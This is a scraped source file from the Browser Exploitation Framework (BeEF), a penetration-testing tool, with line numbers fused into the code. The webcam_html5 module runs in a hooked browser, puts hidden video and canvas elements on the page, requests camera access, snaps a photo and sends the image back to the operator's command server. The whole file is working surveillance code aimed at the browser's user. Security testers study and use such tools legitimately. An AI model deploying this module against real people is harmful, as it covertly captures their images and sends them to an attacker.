Path: blob/master/modules/browser/webcam_html5/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//5678beef.execute(function() {9if (beef.browser.hasWebGL()) {10beef.debug('[Webcam HTML5] Browser supports WebGL');11} else {12beef.debug('[Webcam HTML5] Error: WebGL is not supported');13beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error());14return;15}1617var vid_id = beef.dom.generateID();18var can_id = beef.dom.generateID();19var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});20var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});21$j('body').append(vid_el);22$j('body').append(can_el);2324var ctx = can_el.getContext('2d');2526var localMediaStream = null;27var streaming = false;2829var width = 320; // We will scale the photo width to this30var height = 0; // This will be computed based on the input stream313233var cap = function() {34if (localMediaStream) {35ctx.drawImage(vid_el,0,0,width,height);36beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));37} else {38beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());39}40};4142window.URL = window.URL || window.webkitURL;4344// Older browsers might not implement mediaDevices at all, so we set an empty object first45if (navigator.mediaDevices === undefined) {46navigator.mediaDevices = {};47}4849// Some browsers partially implement mediaDevices. We can't just assign an object50// with getUserMedia as it would overwrite existing properties.51// Here, we will just add the getUserMedia property if it's missing.52if (navigator.mediaDevices.getUserMedia === undefined) {53navigator.mediaDevices.getUserMedia = function(constraints) {5455// First get ahold of the legacy getUserMedia, if present56var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;5758// Some browsers just don't implement it - return a rejected promise with an error59// to keep a consistent interface60if (!getUserMedia) {61return Promise.reject(new Error('getUserMedia is not implemented in this browser'));62}6364// Otherwise, wrap the call to the old navigator.getUserMedia with a Promise65return new Promise(function(resolve, reject) {66getUserMedia.call(navigator, constraints, resolve, reject);67});68}69}7071navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) {72if ('srcObject' in vid_el) {73vid_el.srcObject = stream;74vid_el.play();75} else {76vid_el.src = window.URL.createObjectURL(stream);77}78localMediaStream = stream;79vid_el.addEventListener('canplay', function(ev){80if (!streaming) {81streaming = true;82setTimeout(cap,2000);83}84}, false);85}, function(err) {86beef.debug('[Webcam HTML5] Error: getUserMedia call failed');87beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());88});8990// Retrieve the chosen div option from BeEF and display91var choice = "<%= @choice %>";92switch (choice) {93case "320x240":94size320(); break;95case "640x480":96size640(); break;97case "Full":98sizeFull(); break;99default:100size320(); break;101}102103function size320() {104width = 320;105height = 240;106}107function size640() {108width = 640;109height = 480;110}111function sizeFull() {112width = 1280;113height = 720;114}115});116117118119